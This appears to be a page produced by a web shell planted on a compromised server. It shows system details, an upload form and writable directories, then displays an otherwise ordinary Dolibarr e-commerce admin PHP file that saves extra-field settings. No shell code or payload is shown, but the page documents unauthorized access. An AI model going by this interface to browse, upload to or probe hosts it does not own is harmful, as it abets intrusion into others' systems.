Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/.ecommerceng442/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/.ecommerceng442/admin/actions_extrafields.inc.php
<?php
/* Copyright (C) 2022      Open-DSI             <support@open-dsi.fr>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

/**
 *	\file       htdocs/ecommerceng/admin/actions_selectsite.inc.php
 *	\ingroup    ecommerceng
 *	\brief      Include select site actions
 */

/**
 * Globals
 *
 * @global string			$action
 * @global array			$extra_fields_list
 */

if ($action == 'set_extra_fields_options') {
	$table_element = GETPOST('table_element', 'alphanohtml');
	if (isset($extra_fields_list[$table_element])) {
		$object->oldcopy = clone $object;

		$activated_list = array();
		$value_list = array();
		foreach ($extra_fields_list[$table_element]['extra_fields'] as $key => $label) {
			// default value
			$activated = GETPOST("ef_dft_state_{$table_element}_{$key}", 'int') ? 1 : 0;
			if ($activated) $activated_list['dft'][$key] = true;
			$value = $activated ? GETPOST("ef_dft_value_{$table_element}_options_{$key}", 'alphanohtml') :
				(!empty($object->parameters['extra_fields'][$table_element]['values']['dft'][$key]) ? $object->parameters['extra_fields'][$table_element]['values']['dft'][$key] : null);
			if (isset($value)) $value_list['dft'][$key] = $value;

			// meta-data
			$activated = GETPOST("ef_mdt_state_{$table_element}_{$key}", 'int') ? 1 : 0;
			if ($activated) $activated_list['mdt'][$key] = true;
			$value = $activated ? GETPOST("ef_mdt_value_{$table_element}_{$key}", 'alphanohtml') :
				(!empty($object->parameters['extra_fields'][$table_element]['values']['mdt'][$key]) ? $object->parameters['extra_fields'][$table_element]['values']['mdt'][$key] : null);
			if (isset($value)) $value_list['mdt'][$key] = $value;

			// attribute
			$activated = GETPOST("ef_att_state_{$table_element}_{$key}", 'int') ? 1 : 0;
			if ($activated) $activated_list['att'][$key] = true;
			$value = $activated ? GETPOST("ef_att_value_{$table_element}_{$key}", 'alphanohtml') :
				(!empty($object->parameters['extra_fields'][$table_element]['values']['att'][$key]) ? $object->parameters['extra_fields'][$table_element]['values']['att'][$key] : null);
			if (isset($value)) $value_list['att'][$key] = $value;
		}
		$object->parameters['extra_fields'][$table_element]['activated'] = $activated_list;
		$object->parameters['extra_fields'][$table_element]['values'] = $value_list;

		$result = $object->update($user);

		if ($result < 0) {
			setEventMessages($object->error, $object->errors, 'errors');
		} else {
			setEventMessage($langs->trans("SetupSaved"));
			header("Location: " . $_SERVER["PHP_SELF"] . '?id=' . $object->id);
			exit;
		}
	} else {
		setEventMessage("Wrong table element", 'errors');
	}
}

Hry